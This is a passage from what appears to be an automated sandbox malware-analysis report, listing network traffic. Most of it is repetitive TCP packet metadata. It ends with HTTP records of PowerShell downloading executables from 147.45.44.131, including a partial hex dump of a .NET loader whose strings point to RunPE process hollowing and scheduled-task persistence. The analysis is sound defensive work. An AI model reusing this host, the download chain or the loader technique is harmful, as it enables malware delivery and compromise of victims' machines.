Sep 25, 2024 14:49:33.557811022 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.557847023 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.558630943 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.558641911 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.558675051 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.559623957 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.559636116 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.559673071 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.560385942 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.560396910 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.560435057 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.561402082 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.561413050 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.561423063 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.561450958 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.562571049 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.562582970 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.562618017 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.563513994 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.563524961 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.563563108 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.564681053 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.564692020 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.564729929 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.565470934 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.565481901 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.565490961 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.565517902 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.565536022 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.566840887 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.566853046 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.566900015 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.568005085 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.568016052 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.568070889 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.569411993 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.569422960 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.569467068 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.570766926 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.570777893 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.570816994 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.571780920 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.571793079 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.571801901 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.571829081 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.572405100 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.572416067 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.572463989 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.573559046 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.573570967 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.573611975 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.575479031 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.575490952 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.575535059 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.576874018 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.576886892 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.576896906 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.576936007 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.576951981 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.577934980 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.577948093 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.577986956 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.579132080 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.579144001 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.579188108 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.580215931 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.580229044 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.580298901 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.581197023 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.581209898 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.581244946 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.582117081 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.582130909 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.582185984 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.628987074 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.629137993 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.629151106 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.629225016 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.630220890 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.630233049 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.630290031 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.632396936 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.632410049 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.632466078 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.633616924 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.633629084 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.633639097 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.633665085 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.633682966 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.635063887 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.635077000 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.635116100 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.636512041 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.636529922 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.636539936 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.636584044 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.637919903 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.637933016 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.637969017 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.639504910 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.639518023 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.639528036 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.639549971 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.639568090 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.641078949 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.641091108 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.641133070 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.642309904 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.642322063 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.642330885 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.642355919 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.643840075 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.643852949 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.643891096 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.645253897 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.645265102 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.645275116 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.645299911 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.645317078 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.647181034 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.647197962 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.647243023 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.648380041 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.648391962 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.648402929 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.648427963 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.650371075 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.650382042 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.650410891 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.651902914 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.651915073 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.651959896 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.654433966 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.654445887 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.654512882 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.655297041 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.655308962 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.655318975 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.655345917 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.655361891 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.658293009 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.658304930 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.658344984 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.658966064 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.658977985 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.659015894 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.662103891 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.662117004 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.662156105 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.662538052 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.662549973 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.662559986 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.662583113 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.666207075 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.666218996 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.666258097 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.666522026 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.666533947 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.666543961 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.666568995 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.666584015 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.670511961 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.670531034 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.670540094 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.670569897 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.670967102 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.670979977 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.671010971 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.675345898 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.675358057 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.675368071 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.675416946 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.675435066 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.675937891 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.676692963 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.676702023 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.676747084 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.679708004 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.679719925 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.679759979 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.681298971 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.681312084 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.681344032 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.683698893 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.683711052 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.683721066 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.683747053 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.683769941 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.685723066 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.685735941 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.685770035 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.687819958 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.687832117 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.687875032 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.689776897 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.689795017 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.689851046 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.692306995 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.692318916 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.692328930 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.692368031 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.693437099 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.693449974 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.693484068 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.696204901 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.696217060 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.696274996 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.697077990 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.697089911 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.697127104 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.703398943 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.703409910 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.703421116 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.703432083 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.703443050 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.703453064 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.703470945 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.703490019 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.703771114 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.703782082 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.703830004 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.706329107 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.706513882 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.706559896 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.710376024 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.710388899 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.710431099 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.711617947 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.711630106 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.711639881 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.711668968 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.712241888 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.712291002 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.737613916 CEST	80	49711	147.45.44.131	192.168.2.6
Sep 25, 2024 14:49:33.782916069 CEST	49711	80	192.168.2.6	147.45.44.131
Sep 25, 2024 14:49:33.989018917 CEST	49711	80	192.168.2.6	147.45.44.131

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 14:50:11.907932997 CEST	53	51685	162.159.36.2	192.168.2.6
Sep 25, 2024 14:50:12.391355038 CEST	53	54279	1.1.1.1	192.168.2.6

HTTP Request Dependency Graph

147.45.44.131

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	147.45.44.131	80	6324	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:49:31.928517103 CEST	76	OUT	GET /files/TTF.exe HTTP/1.1 Host: 147.45.44.131 Connection: Keep-Alive
Sep 25, 2024 14:49:32.616590977 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 12:49:32 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 12 Aug 2024 11:56:41 GMT ETag: "3400-61f7b2fb281f0" Accept-Ranges: bytes Content-Length: 13312 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 59 36 0c fa 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 2a 00 00 00 08 00 00 00 00 00 00 4a 49 00 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f6 48 00 00 4f 00 00 00 00 60 00 00 8c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 0c 00 00 00 60 48 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELY6"0JI `@ `HO``H8 H.textP) `.rsrc`,@@.reloc2@BIHh)07(}}}\|(+\|((.srp(-rp(-+rprp(0/(}}\|(+\|((0(o( &(!rp("%%(o#*&(!rp("%%(o#
Sep 25, 2024 14:49:32.616890907 CEST	1236	IN	Data Raw: 28 00 00 01 2a 00 13 30 06 00 79 00 00 00 04 00 00 11 d0 26 00 00 01 28 21 00 00 0a 28 24 00 00 0a 0a 16 8d 2b 00 00 01 0b 16 0c 2b 56 06 08 9a 6f 25 00 00 0a 72 eb 00 00 70 28 1b 00 00 0a 2c 3e 06 08 9a 6f 26 00 00 0a 16 9a 6f 27 00 00 0a 6f 25 Data Ascii: (0y&(!($++Vo%rp(,>o&o'o%rp(,%(o#tXi20k%%rp%rp%r'p%rAp%rmp%rp%rp%rp%rp%r!p%
Sep 25, 2024 14:49:32.616905928 CEST	448	IN	Data Raw: 00 00 00 00 00 00 34 00 00 00 41 03 00 00 75 03 00 00 18 00 00 00 10 00 00 01 1e 02 28 19 00 00 0a 2a 13 30 03 00 f4 00 00 00 00 00 00 00 28 0c 00 00 06 16 9a 28 0c 00 00 06 18 9a 28 03 00 00 2b 80 02 00 00 04 28 0c 00 00 06 16 9a 28 0c 00 00 06 Data Ascii: 4Au(*0(((+(((+(((+(((+(((+(((+(((+(((+(
Sep 25, 2024 14:49:32.618818998 CEST	1236	IN	Data Raw: de 17 0d 02 1f fe 7d 0e 00 00 04 02 7c 0f 00 00 04 09 28 37 00 00 0a de 14 02 1f fe 7d 0e 00 00 04 02 7c 0f 00 00 04 07 28 38 00 00 0a 2a 01 10 00 00 00 00 07 00 6d 74 00 17 19 00 00 01 36 02 7c 0f 00 00 04 03 28 39 00 00 0a 2a 00 00 1b 30 03 00 Data Ascii: }\|(7}\|(8mt6\|(90{,I~(}~(o3(4-<%}}\|(+c{\|%}(6{(}}\|
Sep 25, 2024 14:49:32.618838072 CEST	1236	IN	Data Raw: e0 01 01 00 5e 00 ca 01 01 00 1f 00 d8 01 26 00 c3 01 e4 00 26 00 92 01 e4 00 26 00 05 01 e4 01 21 00 fc 00 e4 01 06 00 73 05 e4 01 21 00 54 00 ca 01 21 00 b6 06 ca 01 21 00 d8 01 ca 01 21 10 f7 00 e7 01 21 00 83 00 e4 00 21 00 08 09 e4 00 21 00 Data Ascii: ^&&&!s!T!!!!!!!;P D J D !D !?!s!{!
Sep 25, 2024 14:49:32.618995905 CEST	1236	IN	Data Raw: 01 00 91 08 00 00 02 00 75 01 00 00 01 00 35 01 00 00 02 00 50 09 00 00 01 00 35 01 00 00 02 00 50 09 00 00 03 00 d0 05 00 00 04 00 91 08 00 00 01 00 d6 08 00 00 01 00 91 08 00 00 02 00 75 01 00 00 01 00 35 01 00 00 02 00 50 09 00 00 01 00 35 01 Data Ascii: u5P5Pu5P5Puz^z^uWnmW
Sep 25, 2024 14:49:32.619010925 CEST	272	IN	Data Raw: 00 00 00 00 00 00 90 01 cb 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 90 01 fb 05 00 00 00 00 07 00 02 00 08 00 04 00 09 00 05 00 0a 00 05 00 0b 00 05 00 0c 00 05 00 0d 00 05 00 0e 00 05 00 0f 00 05 00 10 00 05 00 11 00 05 00 12 00 05 00 Data Ascii: /C;a$kiu<Main>d__0<LinkGetAsync>d__1<>u__1Task`1AsyncTaskMethodBuilder`1TaskAwaiter`1R
Sep 25, 2024 14:49:32.619029045 CEST	1236	IN	Data Raw: 54 6f 55 49 6e 74 33 32 00 54 6f 49 6e 74 33 32 00 52 65 73 65 72 76 65 64 32 00 54 6f 49 6e 74 31 36 00 3c 4d 6f 64 75 6c 65 3e 00 3c 4d 61 69 6e 3e 00 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 52 75 6e Data Ascii: ToUInt32ToInt32Reserved2ToInt16<Module><Main>CreateProcessALoadLibraryARunPEURLmscorlibDownloadDataTaskAsyncLinkGetAsyncMiscThreadIdProcessIdGetProcessByIdbytesReadResumeThreadthreadpayloadAwaitUnsafeOnCompletedget_IsComp
Sep 25, 2024 14:49:32.620333910 CEST	1236	IN	Data Raw: 00 45 78 65 63 75 74 65 00 42 79 74 65 00 76 61 6c 75 65 00 52 75 6e 50 45 2e 65 78 65 00 67 65 74 5f 53 69 7a 65 00 62 75 66 66 65 72 53 69 7a 65 00 53 69 7a 65 4f 66 00 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 56 65 72 73 69 6f 6e 69 6e 67 Data Ascii: ExecuteBytevalueRunPE.exeget_SizebufferSizeSizeOfSystem.Runtime.VersioningStringpathlengthLoadApiCreateApiUriAsyncCallbackcallbackget_TaskMarshalKillUrlProgramSystembytesWrittenMainStartupInformationProcessInformation
Sep 25, 2024 14:49:32.620352030 CEST	1236	IN	Data Raw: 2e 00 33 00 30 00 33 00 31 00 39 00 5c 00 52 00 65 00 67 00 41 00 73 00 6d 00 2e 00 65 00 78 00 65 00 00 41 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 73 00 63 00 68 00 Data Ascii: .30319\RegAsm.exeAC:\Windows\System32\schtasks.exeToInt16ToInt32GetBytesInt32kernel32ntdllResumeThread+Wow64SetThre
Sep 25, 2024 14:49:32.621844053 CEST	1236	IN	Data Raw: 00 02 01 0e 1d 05 05 20 02 01 1c 18 04 20 01 08 18 0a 20 03 12 80 89 18 12 80 8d 1c 06 20 01 08 12 80 89 06 20 02 02 18 1d 08 0c 20 04 12 80 89 18 1d 08 12 80 8d 1c 06 20 01 02 12 80 89 08 20 05 08 18 08 08 08 08 0e 20 07 12 80 89 18 08 08 08 08 Data Ascii: PL PL PL
Sep 25, 2024 14:49:32.820904970 CEST	59	OUT	GET /files/mservice64.exe HTTP/1.1 Host: 147.45.44.131
